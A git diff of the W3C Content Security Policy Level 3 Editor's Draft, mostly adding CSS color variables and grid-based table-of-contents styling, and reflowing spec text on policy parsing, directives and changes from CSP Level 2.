diff --git a/index.html b/index.html index 60322973ee..8c45f101af 100644 --- a/index.html +++ b/index.html @@ -68,10 +68,19 @@ * ******************************************************************************/ +/* color variables included separately for reliability */ + /******************************************************************************/ /* Body */ /******************************************************************************/ + html { + color: black; + color: var(--text); + background-color: white; + background-color: var(--bg); + } + body { counter-reset: example figure issue; @@ -90,9 +99,7 @@ overflow-wrap: break-word; hyphens: auto; - /* Colors */ - color: black; - background: white top left fixed no-repeat; + background: transparent top left fixed no-repeat; background-size: 25px auto; } @@ -124,10 +131,13 @@ .head img[src*="logos/W3C"] { display: block; border: solid #1a5e9a; + border: solid var(--logo-bg); border-width: .65rem .7rem .6rem; border-radius: .4rem; background: #1a5e9a; + background: var(--logo-bg); color: white; + color: var(--logo-text); font-weight: bold; } @@ -138,7 +148,9 @@ .head a:active > img[src*="logos/W3C"] { background: #c00; + background: var(--logo-active-bg); border-color: #c00; + border-color: var(--logo-active-bg); } /* see also additional rules in Link Styling section */ @@ -165,7 +177,6 @@ border-top-right-radius: 2rem; box-shadow: 0 0 2px; font-size: 1.5em; - color: black; } #toc-nav > a { display: block; @@ -175,23 +186,32 @@ padding: .1em 0.3em; margin: 0; - background: white; box-shadow: 0 0 2px; border: none; border-top-right-radius: 1.33em; + + color: #707070; + color: var(--tocnav-normal-text); background: white; + background: var(--tocnav-normal-bg); } - #toc-nav > #toc-jump { - padding-bottom: 2em; - margin-bottom: -1.9em; - } - #toc-nav > a:hover, #toc-nav > a:focus { + color: black; + color: var(--tocnav-hover-text); background: #f8f8f8; + background: var(--tocnav-hover-bg); } - #toc-nav > a:not(:hover):not(:focus) { - color: #707070; + #toc-nav > a:active { + color: #c00; + color: var(--tocnav-active-text); + background: white; + background: var(--tocnav-active-bg); + } + + #toc-nav > #toc-jump { + padding-bottom: 2em; + margin-bottom: -1.9em; } /* statusbar gets in the way on keyboard focus; remove once browsers fix */ @@ -206,26 +226,6 @@ #toc-nav > a > span + span { padding-right: 0.2em; } - - #toc-toggle-inline { - vertical-align: 0.05em; - font-size: 80%; - color: gray; - color: hsla(203,20%,40%,.7); - border-style: none; - background: transparent; - position: relative; - } - #toc-toggle-inline:hover:not(:active), - #toc-toggle-inline:focus:not(:active) { - text-shadow: 1px 1px silver; - top: -1px; - left: -1px; - } - - #toc-nav :active { - color: #C00; - } } /** ToC Sidebar ***************************************************************/ @@ -243,10 +243,14 @@ padding: 0 1em; padding-left: 42px; padding-left: calc(1em + 26px); + color: black; + color: var(--tocsidebar-text); background: inherit; background-color: #f7f8f9; + background-color: var(--tocsidebar-bg); z-index: 1; box-shadow: -.1em 0 .25em rgba(0,0,0,.1) inset; + box-shadow: -.1em 0 .25em var(--tocsidebar-shadow) inset; } body.toc-sidebar #toc h2 { margin-top: .8rem; @@ -256,6 +260,7 @@ font-weight: bold; color: gray; color: hsla(203,20%,40%,.7); + color: var(--tocsidebar-heading-text); } body.toc-sidebar #toc-jump:not(:focus) { width: 0; @@ -283,10 +288,14 @@ padding: 0 1em; padding-left: 42px; padding-left: calc(1em + 26px); + color: black; + color: var(--tocsidebar-text); background: inherit; background-color: #f7f8f9; + background-color: var(--tocsidebar-bg); z-index: 1; box-shadow: -.1em 0 .25em rgba(0,0,0,.1) inset; + box-shadow: -.1em 0 .25em var(--tocsidebar-shadow) inset; } body:not(.toc-inline) #toc h2 { margin-top: .8rem; @@ -296,6 +305,7 @@ font-weight: bold; color: gray; color: hsla(203,20%,40%,.7); + color: var(--tocsidebar-heading-text); } body:not(.toc-inline) { @@ -338,7 +348,7 @@ h1, h2, h3 { color: #005A9C; - background: transparent; + color: var(--heading-text); } h1 { font-size: 170%; } @@ -365,11 +375,13 @@ /** Section divider ***********************************************************/ - :not(.head) > hr { + :not(.head) > :not(.head) + hr { font-size: 1.5em; text-align: center; margin: 1em auto; height: auto; + color: black; + color: var(--hr-text); border: transparent solid 0; background: transparent; } @@ -412,12 +424,15 @@ ol.algorithm ol:not(.algorithm), .algorithm > ol ol:not(.algorithm) { border-left: 0.5em solid #DEF; + border-left: 0.5em solid var(--algo-border); } /* Put nice boxes around each algorithm. */ [data-algorithm]:not(.heading) { padding: .5em; - border: thin solid #ddd; border-radius: .5em; + border: thin solid #ddd; + border: thin solid var(--algo-border); + border-radius: .5em; margin: .5em calc(-0.5em - 1px); } [data-algorithm]:not(.heading) > :first-child { @@ -478,8 +493,20 @@ /** Change Marking ************************************************************/ - del { color: red; text-decoration: line-through; } - ins { color: #080; text-decoration: underline; } + del { + color: red; + color: var(--del-text); + background: transparent; + background: var(--del-bg); + text-decoration: line-through; + } + ins { + color: #080; + color: var(--ins-text); + background: transparent; + background: var(--ins-bg); + text-decoration: underline; + } /** Miscellaneous improvements to inline formatting ***************************/ @@ -497,9 +524,14 @@ pre, code, samp { font-family: Menlo, Consolas, "DejaVu Sans Mono", Monaco, monospace; font-size: .9em; - page-break-inside: avoid; hyphens: none; text-transform: none; + text-align: left; + text-align: start; + font-variant: normal; + orphans: 3; + widows: 3; + page-break-before: avoid; } pre code, code code { @@ -525,14 +557,19 @@ /* We hyperlink a lot, so make it less intrusive */ a[href] { color: #034575; + color: var(--a-normal-text); text-decoration: none; border-bottom: 1px solid #707070; + border-bottom: 1px solid var(--a-normal-underline); /* Need a bit of extending for it to look okay */ padding: 0 1px 0; margin: 0 -1px 0; } a:visited { - border-bottom-color: #BBB; + color: #034575; + color: var(--a-visited-text); + border-bottom-color: #bbb; + border-bottom-color: var(--a-visited-underline); } /* Use distinguishing colors when user is interacting with the link */ @@ -540,12 +577,15 @@ a[href]:hover { background: #f8f8f8; background: rgba(75%, 75%, 75%, .25); + background: var(--a-hover-bg); border-bottom-width: 3px; margin-bottom: -2px; } a[href]:active { - color: #C00; - border-color: #C00; + color: #c00; + color: var(--a-active-text); + border-color: #c00; + border-color: var(--a-active-underline); } /* Backout above styling for W3C logo */ @@ -564,6 +604,11 @@ border-style: none; } + img, svg { + /* Intentionally not color-scheme aware. */ + background: white; + } + /* For autogen numbers, add .caption::before, figcaption::before { content: "Figure " counter(figure) ". "; } */ @@ -577,6 +622,7 @@ .figure object, .sidefigure object, figure object { max-width: 100%; margin: auto; + height: auto; } .figure pre, .sidefigure pre, figure pre { text-align: left; @@ -639,25 +685,46 @@ margin-bottom: 0; } + + .issue::before, .issue > .marker, + .example::before, .example > .marker, + .note::before, .note > .marker, + details.note > summary > .marker { + text-transform: uppercase; + padding-right: 1em; + } + + .example::before, .example > .marker { + display: block; + padding-right: 0em; + } + /** Blockquotes ***************************************************************/ blockquote { border-color: silver; + border-color: var(--blockquote-border); + background: transparent; + background: var(--blockquote-bg); + color: currentcolor; + color: var(--blockquote-text); } /** Open issue ****************************************************************/ .issue { - border-color: #E05252; - background: #FBE9E9; + border-color: #e05252; + border-color: var(--issue-border); + background: #fbe9e9; + background: var(--issue-bg); + color: black; + color: var(--issue-text); counter-increment: issue; overflow: auto; } .issue::before, .issue > .marker { - text-transform: uppercase; - color: #AE1E1E; - padding-right: 1em; - text-transform: uppercase; + color: #831616; + color: var(--issueheading-text); } /* Add .issue::before { content: "Issue " counter(issue) " "; } for autogen numbers, or use class="marker" to mark up the issue number in source. */ @@ -665,17 +732,19 @@ /** Example *******************************************************************/ .example { - border-color: #E0CB52; - background: #FCFAEE; + border-color: #e0cb52; + border-color: var(--example-border); + background: #fcfaee; + background: var(--example-bg); + color: black; + color: var(--example-text); counter-increment: example; overflow: auto; clear: both; } .example::before, .example > .marker { - text-transform: uppercase; - color: #827017; - min-width: 7.5em; - display: block; + color: #574b0f; + color: var(--exampleheading-text); } /* Add .example::before { content: "Example " counter(example) " "; } for autogen numbers, or use class="marker" to mark up the example number in source. */ @@ -683,27 +752,26 @@ /** Non-normative Note ********************************************************/ .note { - border-color: #52E052; - background: #E9FBE9; + border-color: #52e052; + border-color: var(--note-border); + background: #e9fbe9; + background: var(--note-bg); + color: black; + color: var(--note-text); overflow: auto; } .note::before, .note > .marker, - details.note > summary::before, - details.note > summary > .marker { - text-transform: uppercase; - display: block; + details.note > summary { color: hsl(120, 70%, 30%); + color: var(--noteheading-text); } - /* Add .note::before { content: "Note"; } for autogen label, + /* Add .note::before { content: "Note "; } for autogen label, or use class="marker" to mark up the label in source. */ - details.note > summary { - display: block; - color: hsl(120, 70%, 30%); - } details.note[open] > summary { border-bottom: 1px silver solid; + border-bottom: 1px var(--notesummary-underline) solid; } /** Assertion Box *************************************************************/ @@ -711,7 +779,11 @@ .assertion { border-color: #AAA; + border-color: var(--assertion-border); background: #EEE; + background: var(--assertion-bg); + color: black; + color: var(--assertion-text); } /** Advisement Box ************************************************************/ @@ -719,15 +791,20 @@ .advisement { border-color: orange; + border-color: var(--advisement-border); border-style: none solid; - background: #FFEECC; + background: #fec; + background: var(--advisement-bg); + color: black; + color: var(--advisement-text); } strong.advisement { display: block; text-align: center; } - .advisement > .marker { - color: #B35F00; + .advisement::before, .advisement > .marker { + color: #b35f00; + color: var(--advisementheading-text); } /** Spec Obsoletion Notice ****************************************************/ @@ -743,27 +820,30 @@ .annoying-warning:not(details), details.annoying-warning:not([open]) > summary, details.annoying-warning[open] { - background: #fdd; - color: red; - font-weight: bold; + background: hsla(40,100%,50%,0.95); + background: var(--warning-bg); + color: black; + color: var(--warning-text); padding: .75em 1em; - border: thick red; - border-style: solid; - border-radius: 1em; + border: red; + border: var(--warning-border); + border-style: solid none; + box-shadow: 0 2px 8px black; + text-align: center; } .annoying-warning :last-child { margin-bottom: 0; } -@media not print { - details.annoying-warning[open] { - position: fixed; - left: 1em; - right: 1em; - bottom: 1em; - z-index: 1000; + @media not print { + details.annoying-warning[open] { + position: fixed; + left: 0; + right: 0; + bottom: 2em; + z-index: 1000; + } } -} details.annoying-warning:not([open]) > summary { text-align: center; @@ -773,9 +853,13 @@ .def { padding: .5em 1em; - background: #DEF; + background: #def; + background: var(--def-bg); margin: 1.2em 0; - border-left: 0.5em solid #8CCBF2; + border-left: 0.5em solid #8ccbf2; + border-left: 0.5em solid var(--def-border); + color: black; + color: var(--def-text); } /******************************************************************************/ @@ -800,6 +884,7 @@ padding: 0.5em; vertical-align: baseline; border-bottom: 1px solid #bbd7e9; + border-bottom: 1px solid var(--defrow-border); } table.def > tbody > tr:last-child th, @@ -820,10 +905,10 @@ } /* A footnote at the bottom of a def table */ - table.def td.footnote { + table.def td.footnote { padding-top: 0.6em; } - table.def td.footnote::before { + table.def td.footnote::before { content: " "; display: block; height: 0.6em; @@ -868,6 +953,7 @@ padding: 0.5em 1em; border-width: 1px; border-color: silver; + border-color: var(--datacell-border); border-top-style: solid; } @@ -892,6 +978,7 @@ table.index tbody th:first-child { border-right: 2px solid; border-top: 1px solid silver; + border-top: 1px solid var(--datacell-border); padding-right: 1em; } @@ -903,13 +990,14 @@ table.complex.data th, table.complex.data td { border: 1px solid silver; + border: 1px solid var(--datacell-border); text-align: center; } table.data.longlastcol td:last-child, table.data td.long { - vertical-align: baseline; - text-align: left; + vertical-align: baseline; + text-align: left; } table.data img { @@ -967,12 +1055,15 @@ display: block; /* Reverse color scheme */ color: black; - border-color: #3980B5; - border-bottom-width: 3px !important; - margin-bottom: 0px !important; + color: var(--toclink-text); + border-color: #3980b5; + border-color: var(--toclink-underline); } .toc a:visited { + color: black; + color: var(--toclink-visited-text); border-color: #054572; + border-color: var(--toclink-visited-underline); } .toc a:not(:focus):not(:hover) { /* Allow colors to cascade through from link styling */ @@ -992,57 +1083,105 @@ .toc > li li { font-weight: normal; } .toc > li li li { font-size: 95%; } .toc > li li li li { font-size: 90%; } + .toc > li li li li .secno { font-size: 85%; } .toc > li li li li li { font-size: 85%; } + .toc > li li li li li .secno { font-size: 100%; } - .toc > li { margin: 1.5rem 0; } - .toc > li li { margin: 0.3rem 0; } - .toc > li li li { margin-left: 2rem; } + /* @supports not (display:grid) { */ + .toc > li { margin: 1.5rem 0; } + .toc > li li { margin: 0.3rem 0; } + .toc > li li li { margin-left: 2rem; } - /* Section numbers in a column of their own */ - .toc .secno { - float: left; - width: 4rem; - white-space: nowrap; - } - .toc > li li li li .secno { - font-size: 85%; - } - .toc > li li li li li .secno { - font-size: 100%; - } + /* Section numbers in a column of their own */ + .toc .secno { + float: left; + width: 4rem; + white-space: nowrap; + } - :not(li) > .toc { margin-left: 5rem; } - .toc .secno { margin-left: -5rem; } - .toc > li li li .secno { margin-left: -7rem; } - .toc > li li li li .secno { margin-left: -9rem; } - .toc > li li li li li .secno { margin-left: -11rem; } + .toc li { + clear: both; + } - /* Tighten up indentation in narrow ToCs */ - @media (max-width: 30em) { - :not(li) > .toc { margin-left: 4rem; } - .toc .secno { margin-left: -4rem; } - .toc > li li li { margin-left: 1rem; } - .toc > li li li .secno { margin-left: -5rem; } - .toc > li li li li .secno { margin-left: -6rem; } - .toc > li li li li li .secno { margin-left: -7rem; } - } - @media screen and (min-width: 78em) { - body:not(.toc-inline) :not(li) > .toc { margin-left: 4rem; } - body:not(.toc-inline) .toc .secno { margin-left: -4rem; } - body:not(.toc-inline) .toc > li li li { margin-left: 1rem; } - body:not(.toc-inline) .toc > li li li .secno { margin-left: -5rem; } - body:not(.toc-inline) .toc > li li li li .secno { margin-left: -6rem; } - body:not(.toc-inline) .toc > li li li li li .secno { margin-left: -7rem; } - } - body.toc-sidebar #toc :not(li) > .toc { margin-left: 4rem; } - body.toc-sidebar #toc .toc .secno { margin-left: -4rem; } - body.toc-sidebar #toc .toc > li li li { margin-left: 1rem; } - body.toc-sidebar #toc .toc > li li li .secno { margin-left: -5rem; } - body.toc-sidebar #toc .toc > li li li li .secno { margin-left: -6rem; } - body.toc-sidebar #toc .toc > li li li li li .secno { margin-left: -7rem; } - - .toc li { - clear: both; + :not(li) > .toc { margin-left: 5rem; } + .toc .secno { margin-left: -5rem; } + .toc > li li li .secno { margin-left: -7rem; } + .toc > li li li li .secno { margin-left: -9rem; } + .toc > li li li li li .secno { margin-left: -11rem; } + + /* Tighten up indentation in narrow ToCs */ + @media (max-width: 30em) { + :not(li) > .toc { margin-left: 4rem; } + .toc .secno { margin-left: -4rem; } + .toc > li li li { margin-left: 1rem; } + .toc > li li li .secno { margin-left: -5rem; } + .toc > li li li li .secno { margin-left: -6rem; } + .toc > li li li li li .secno { margin-left: -7rem; } + } + /* Loosen it on wide screens */ + @media screen and (min-width: 78em) { + body:not(.toc-inline) :not(li) > .toc { margin-left: 4rem; } + body:not(.toc-inline) .toc .secno { margin-left: -4rem; } + body:not(.toc-inline) .toc > li li li { margin-left: 1rem; } + body:not(.toc-inline) .toc > li li li .secno { margin-left: -5rem; } + body:not(.toc-inline) .toc > li li li li .secno { margin-left: -6rem; } + body:not(.toc-inline) .toc > li li li li li .secno { margin-left: -7rem; } + } + /* } */ + + @supports (display:grid) and (display:contents) { + /* Use #toc over .toc to override non-@supports rules. */ + #toc { + display: grid; + align-content: start; + grid-template-columns: auto 1fr; + grid-column-gap: 1rem; + column-gap: 1rem; + grid-row-gap: .6rem; + row-gap: .6rem; + } + #toc h2 { + grid-column: 1 / -1; + margin-bottom: 0; + } + #toc ol, + #toc li, + #toc a { + display: contents; + /* Switch to subgrid when supported */ + } + #toc span { + margin: 0; + } + #toc > .toc > li > a > span { + /* The spans of the top-level list, + comprising the first items of each top-level section. */ + margin-top: 1.1rem; + } + #toc#toc .secno { /* Ugh, need more specificity to override base.css */ + grid-column: 1; + width: auto; + margin-left: 0; + } + #toc .content { + grid-column: 2; + width: auto; + margin-right: 1rem; + } + #toc .content:hover, + #toc .content:focus { + background: rgba(75%, 75%, 75%, .25); + background: var(--a-hover-bg); + border-bottom: 3px solid #054572; + border-bottom: 3px solid var(--toclink-underline); + margin-bottom: -3px; + } + #toc li li li .content { + margin-left: 1rem; + } + #toc li li li li .content { + margin-left: 2rem; + } } @@ -1059,12 +1198,13 @@ ul.index ul, ul.index dl { font-size: smaller; } @media not print { - ul.index li span { + ul.index li span:not(.dfn-paneled) { white-space: nowrap; color: transparent; } ul.index li a:hover + span, ul.index li a:focus + span { color: #707070; + color: var(--indexinfo-text); } } @@ -1086,7 +1226,10 @@ table.index tr:hover td:not([rowspan]), table.index tr:hover th:not([rowspan]) { + color: black; + color: var(--indextable-hover-text); background: #f7f8f9; + background: var(--indextable-hover-bg); } /* The link in the first column in the property table (formerly a TD) */ @@ -1112,13 +1255,6 @@ margin: 1.5cm 1.1cm; } -/******************************************************************************/ -/* Legacy */ -/******************************************************************************/ - - /* This rule is inherited from past style sheets. No idea what it's for. */ - .hide { display: none } - /******************************************************************************/ @@ -1131,6 +1267,18 @@ margin-left: auto; margin-right: auto; } + .overlarge { + /* Magic to create good table positioning: + "content column" is 50ems wide at max; less on smaller screens. + Extra space (after ToC + content) is empty on the right. + + 1. When table < content column, centers table in column. + 2. When content < table < available, left-aligns. + 3. When table > available, fills available + scroll bar. + */ + display: grid; + grid-template-columns: minmax(0, 50em); + } .overlarge > table { /* limit preferred width of table */ max-width: 50em; @@ -1140,7 +1288,6 @@ @media (min-width: 55em) { .overlarge { - margin-left: calc(13px + 26.5rem - 50vw); margin-right: calc(13px + 26.5rem - 50vw); max-width: none; } @@ -1148,14 +1295,12 @@ @media screen and (min-width: 78em) { body:not(.toc-inline) .overlarge { /* 30.5em body padding 50em content area */ - margin-left: calc(40em - 50vw) !important; margin-right: calc(40em - 50vw) !important; } } @media screen and (min-width: 90em) { body:not(.toc-inline) .overlarge { /* 4em html margin 30.5em body padding 50em content area */ - margin-left: 0 !important; margin-right: calc(84.5em - 100vw) !important; } } @@ -1176,9 +1321,8 @@ } } - + - - - - + + - - -
-

-

Content Security Policy Level 3

-

Editor’s Draft,

-
-
-
This version: -
https://w3c.github.io/webappsec-csp/ -
Latest published version: -
https://www.w3.org/TR/CSP3/ -
Previous Versions: -
-
Version History: + + + + + + +
+

+

Content Security Policy Level 3

+

Editor’s Draft,

+
+
+
This version: +
https://w3c.github.io/webappsec-csp/ +
Latest published version: +
https://www.w3.org/TR/CSP3/ +
Previous Versions: +
+
Version History:
https://github.com/w3c/webappsec-csp/commits/master/index.src.html
Feedback: -
public-webappsec@w3.org with subject line “[csp3] … message topic …” (archives) +
public-webappsec@w3.org with subject line “[CSP3] … message topic …” (archives)
Editor:
(Google Inc.)
Participate: @@ -1480,15 +1941,15 @@

- +

Abstract

This document defines a mechanism by which web developers can control the -resources which a particular page can fetch or execute, as well as a number -of security-relevant policy decisions.

+ resources which a particular page can fetch or execute, as well as a number + of security-relevant policy decisions.

Status of this document

@@ -1497,25 +1958,25 @@

https://github.com/w3c/webappsec.

-

The (archived) public mailing list public-webappsec@w3.org (see instructions) +

The (archived) public mailing list public-webappsec@w3.org (see instructions) is preferred for discussion of this specification. When sending e-mail, - please put the text “csp3” in the subject, + please put the text “CSP3” in the subject, preferably like this: - “[csp3] …summary of comment…

+ “[CSP3] …summary of comment…

This document was produced by the Web Application Security Working Group.

This document was produced by a group operating under - the 5 February 2004 W3C Patent Policy. + the W3C Patent Policy. W3C maintains a public list of any patent disclosures made in connection with the deliverables of the group; that page also includes instructions for disclosing a patent. - An individual who has actual knowledge of a patent which the individual believes contains Essential Claim(s) must disclose the information in accordance with section 6 of the W3C Patent Policy.

-

This document is governed by the 1 March 2017 W3C Process Document.

+ An individual who has actual knowledge of a patent which the individual believes contains Essential Claim(s) must disclose the information in accordance with section 6 of the W3C Patent Policy.

+

This document is governed by the 15 September 2020 W3C Process Document.

The following features are at-risk, and may be dropped during the CR period:

“At-risk” is a W3C Process term-of-art, and does not necessarily imply that the feature is in danger of being dropped or delayed. It means that the WG believes the feature may have difficulty being interoperably implemented in a timely manner, and marking it as such allows the WG to drop the feature if necessary when transitioning to the Proposed Rec stage, without having to publish a new Candidate Rec without the feature first.

@@ -1580,9 +2041,9 @@

Table of Contents

  • 4.2.2 Initialize a global object’s CSP list
  • 4.2.3 Retrieve the CSP list of an object
  • 4.2.4 Should element’s inline type behavior be blocked by Content Security Policy? -
  • 4.2.5 Should navigation request of type from source in target be blocked +
  • 4.2.5 Should navigation request of type be blocked by Content Security Policy? -
  • 4.2.6 Should navigation response to navigation request of type from source in target be blocked by Content Security Policy? +
  • 4.2.6 Should navigation response to navigation request of type in target be blocked by Content Security Policy?
  • 4.3 Integration with ECMAScript @@ -1867,7 +2328,7 @@

    Table of Contents

    1. Introduction

    This section is not normative.

    -

    This document defines Content Security Policy (CSP), a tool +

    This document defines Content Security Policy (CSP), a tool which developers can use to lock down their applications in various ways, mitigating the risk of content injection vulnerabilities such as cross-site scripting, and reducing the privilege with which their applications execute.

    @@ -1882,8 +2343,8 @@

    1.

    1.1. Examples

    1.1.1. Control Execution

    -
    - MegaCorp Inc’s developers want to protect themselves against cross-site +
    + MegaCorp Inc’s developers want to protect themselves against cross-site scripting attacks. They can mitigate the risk of script injection by ensuring that their trusted CDN is the only origin from which script can load and execute. Moreover, they wish to ensure that no plugins can @@ -1894,28 +2355,28 @@

    1.2. Goals

    Content Security Policy aims to do to a few related things:

      -
    1. +
    2. Mitigate the risk of content-injection attacks by giving developers fairly granular control over

        -
      • +
      • The resources which can be requested (and subsequently embedded or executed) on behalf of a specific Document or Worker

        -
      • +
      • The execution of inline script

        -
      • +
      • Dynamic code execution (via eval() and similar constructs)

        -
      • +
      • The application of inline style

      -
    3. +
    4. Mitigate the risk of attacks which require a resource to be embedded in a malicious context (the "Pixel Perfect" attack described in [TIMING], for example) by giving developers granular control over the origins which can embed a given resource.

      -
    5. +
    6. Provide a policy framework which allows developers to reduce the privilege of their applications.

      -
    7. +
    8. Provide a reporting mechanism which allows developers to detect flaws being exploited in the wild.

    @@ -1923,55 +2384,55 @@

    This document describes an evolution of the Content Security Policy Level 2 specification [CSP2]. The following is a high-level overview of the changes:

      -
    1. +
    2. The specification has been rewritten from the ground up in terms of the [FETCH] specification, which should make it simpler to integrate CSP’s requirements and restrictions with other specifications (and with Service Workers in particular).

      -
    3. +
    4. The child-src model has been substantially altered:

        -
      1. +
      2. The frame-src directive, which was deprecated in CSP Level 2, has been undeprecated, but continues to defer to child-src if not present (which defers to default-src in turn).

        -
      3. +
      4. A worker-src directive has been added, deferring to child-src if not present (which likewise defers to script-src and eventually default-src).

        -
      5. +
      6. Dedicated workers now always inherit their creator’s policy.

      -
    5. +
    6. The URL matching algorithm now treats insecure schemes and ports as matching their secure variants. That is, the source expression http://example.com:80 will match both http://example.com:80 and https://example.com:443.

      Likewise, 'self' now matches https: and wss: variants of the page’s origin, even on pages whose scheme is http.

      -
    7. +
    8. Violation reports generated from inline script or style will now report "inline" as the blocked resource. Likewise, blocked eval() execution will report "eval" as the blocked resource.

      -
    9. +
    10. The manifest-src directive has been added.

      -
    11. +
    12. The report-uri directive is deprecated in favor of the new report-to directive, which relies on [REPORTING] as infrastructure.

      -
    13. +
    14. The 'strict-dynamic' source expression will now allow script which - executes on a page to load more script via non-"parser-inserted" script elements. Details are in §8.2 Usage of "'strict-dynamic'".

      -
    15. + executes on a page to load more script via non-"parser-inserted" script elements. Details are in § 8.2 Usage of "'strict-dynamic'".

      +
    16. The 'unsafe-hashes' source expression will now allow event handlers, style attributes and javascript: navigation targets to match - hashes. Details in §8.3 Usage of "'unsafe-hashes'".

      -
    17. + hashes. Details in § 8.3 Usage of "'unsafe-hashes'".

      +
    18. The source expression matching has been changed to require explicit presence of any non-network scheme, rather than local scheme, unless that non-network scheme is the same as the scheme of protected resource, - as described in §6.6.2.6 Does url match expression in origin with redirect count?.

      -
    19. + as described in § 6.6.2.6 Does url match expression in origin with redirect count?.

      +
    20. Hash-based source expressions may now match external scripts if the script element that triggers the request specifies a set of integrity - metadata which is listed in the current policy. Details in §8.4 Allowing external JavaScript via hashes.

      -
    21. + metadata which is listed in the current policy. Details in § 8.4 Allowing external JavaScript via hashes.

      +
    22. The navigate-to directive gives a resource control over the endpoints to which it can initiate navigation.

      -
    23. +
    24. Reports generated for inline violations will contain a sample attribute if the relevant directive contains the 'report-sample' expression.

    @@ -1990,106 +2451,106 @@

    This document depends on the Infra Standard for a number of foundational concepts used in its algorithms and prose [INFRA].

    The following definitions are used to improve readability of other definitions in this document.

    -
    optional-ascii-whitespace = *( %x09 / %x0A / %x0C / %x0D / %x20 )
    -required-ascii-whitespace = 1*( %x09 / %x0A / %x0C / %x0D / %x20 )
    -; These productions match the definition of ASCII whitespace from the INFRA standard.
    +
    optional-ascii-whitespace = *( %x09 / %x0A / %x0C / %x0D / %x20 )
    +required-ascii-whitespace = 1*( %x09 / %x0A / %x0C / %x0D / %x20 )
    +; These productions match the definition of ASCII whitespace from the INFRA standard.
     

    2.2. Policies

    -

    A policy defines allowed - and restricted behaviors, and may be applied to a Document, WorkerGlobalScope, or WorkletGlobalScope as described in §4.2.2 Initialize a global object’s CSP list and in §4.2.1 Initialize a Document's CSP list.

    -

    Each policy has an associated directive set, which is an ordered +

    A policy defines allowed + and restricted behaviors, and may be applied to a Document, WorkerGlobalScope, or WorkletGlobalScope as described in § 4.2.2 Initialize a global object’s CSP list and in § 4.2.1 Initialize a Document's CSP list.

    +

    Each policy has an associated directive set, which is an ordered set of directives that define the policy’s implications when applied.

    -

    Each policy has an associated disposition, which is either +

    Each policy has an associated disposition, which is either "enforce" or "report".

    -

    Each policy has an associated source, which is either "header" +

    Each policy has an associated source, which is either "header" or "meta".

    -

    Each policy has an associated self-origin, which - is an origin that is used when matching the 'self' keyword.

    +

    Each policy has an associated self-origin, which + is an origin that is used when matching the 'self' keyword.

    Note: This is needed to facilitate the 'self' checks of local scheme documents/workers that have inherited their policy but have an opaque origin. Most of the time this will simply be the environment settings object’s origin. - The §4.2.1 Initialize a Document's CSP list algorithm describes situations in which + The § 4.2.1 Initialize a Document's CSP list algorithm describes situations in which a policy is inherited.

    -

    Multiple policies can be applied to a single resource, and are collected into a list of policies known as a CSP list.

    -

    A CSP list contains a header-delivered Content Security Policy if it contains a policy whose source is "header".

    -

    A serialized CSP is an ASCII string consisting of a semicolon-delimited +

    Multiple policies can be applied to a single resource, and are collected into a list of policies known as a CSP list.

    +

    A CSP list contains a header-delivered Content Security Policy if it contains a policy whose source is "header".

    +

    A serialized CSP is an ASCII string consisting of a semicolon-delimited series of serialized directives, adhering to the following ABNF grammar [RFC5234]:

    -
    serialized-policy =
    +
    serialized-policy =
         serialized-directive *( optional-ascii-whitespace ";" [ optional-ascii-whitespace serialized-directive ] )
     
    -

    A serialized CSP list is an ASCII string consisting of a comma-delimited +

    A serialized CSP list is an ASCII string consisting of a comma-delimited series of serialized CSPs, adhering to the following ABNF grammar [RFC5234]:

    -
    serialized-policy-list = 1#serialized-policy
    +
    serialized-policy-list = 1#serialized-policy
                         ; The '#' rule is the one defined in section 7 of RFC 7230
                         ; but it incorporates the modifications specified
                         ; in section 2.1 of this document.
     

    2.2.1. Parse a serialized CSP

    -

    To parse a serialized CSP, given a serialized CSP (serialized), a source (source), and a disposition (disposition), execute the +

    To parse a serialized CSP, given a serialized CSP (serialized), a source (source), and a disposition (disposition), execute the following steps.

    This algorithm returns a Content Security Policy object. If serialized could not be parsed, the object’s directive set will be empty.

      -
    1. +
    2. Let policy be a new policy with an empty directive set, a source of source, and a disposition of disposition.

      -
    3. +
    4. For each token returned by strictly splitting serialized on the U+003B SEMICOLON character (;):

        -
      1. +
      2. Strip leading and trailing ASCII whitespace from token.

        -
      3. +
      4. If token is an empty string, continue.

        -
      5. +
      6. Let directive name be the result of collecting a sequence of code points from token which are not ASCII whitespace.

        -
      7. +
      8. Set directive name to be the result of running ASCII lowercase on directive name.

        Note: Directive names are case-insensitive, that is: script-SRC 'none' and ScRiPt-sRc 'none' are equivalent.

        -
      9. +
      10. If policy’s directive set contains a directive whose name is directive name, continue.

        Note: In this case, the user agent SHOULD notify developers that a duplicate directive was ignored. A console warning might be appropriate, for example.

        -
      11. +
      12. Let directive value be the result of splitting token on ASCII whitespace.

        -
      13. +
      14. Let directive be a new directive whose name is directive name, and value is directive value.

        -
      15. +
      16. Append directive to policy’s directive set.

      -
    5. +
    6. Return policy.

    2.2.2. Parse a serialized CSP list

    -

    To parse a serialized CSP list, given a serialized CSP list (list), a source (source), and a disposition (disposition), execute the following +

    To parse a serialized CSP list, given a serialized CSP list (list), a source (source), and a disposition (disposition), execute the following steps.

    This algorithm returns a list of Content Security Policy objects. If list cannot be parsed, the returned list will be empty.

      -
    1. +
    2. Let policies be an empty list.

      -
    3. +
    4. For each token returned by splitting list on commas:

        -
      1. +
      2. Let policy be the result of parsing token, with a source of source, and disposition of disposition.

        -
      3. +
      4. If policy’s directive set is empty, continue.

        -
      5. +
      6. Append policy to policies.

      -
    5. +
    6. Return policies.

    2.3. Directives

    -

    Each policy contains an ordered set of directives (its directive set), each of which controls a specific behavior. The directives - defined in this document are described in detail in §6 Content Security Policy Directives.

    -

    Each directive is a name / value pair. The name is a +

    Each policy contains an ordered set of directives (its directive set), each of which controls a specific behavior. The directives + defined in this document are described in detail in § 6 Content Security Policy Directives.

    +

    Each directive is a name / value pair. The name is a non-empty string, and the value is a set of non-empty strings. The value MAY be empty.

    -

    A serialized directive is an ASCII string, consisting of one or more +

    A serialized directive is an ASCII string, consisting of one or more whitespace-delimited tokens, and adhering to the following ABNF [RFC5234]:

    -
    serialized-directive = directive-name [ required-ascii-whitespace directive-value ]
    -directive-name       = 1*( ALPHA / DIGIT / "-" )
    -directive-value      = *( required-ascii-whitespace / ( %x21-%x2B / %x2D-%x3A / %x3C-%x7E ) )
    +
    serialized-directive = directive-name [ required-ascii-whitespace directive-value ]
    +directive-name       = 1*( ALPHA / DIGIT / "-" )
    +directive-value      = *( required-ascii-whitespace / ( %x21-%x2B / %x2D-%x3A / %x3C-%x7E ) )
                            ; Directive values may contain whitespace and VCHAR characters,
                            ; excluding ";" and ",". The second half of the definition
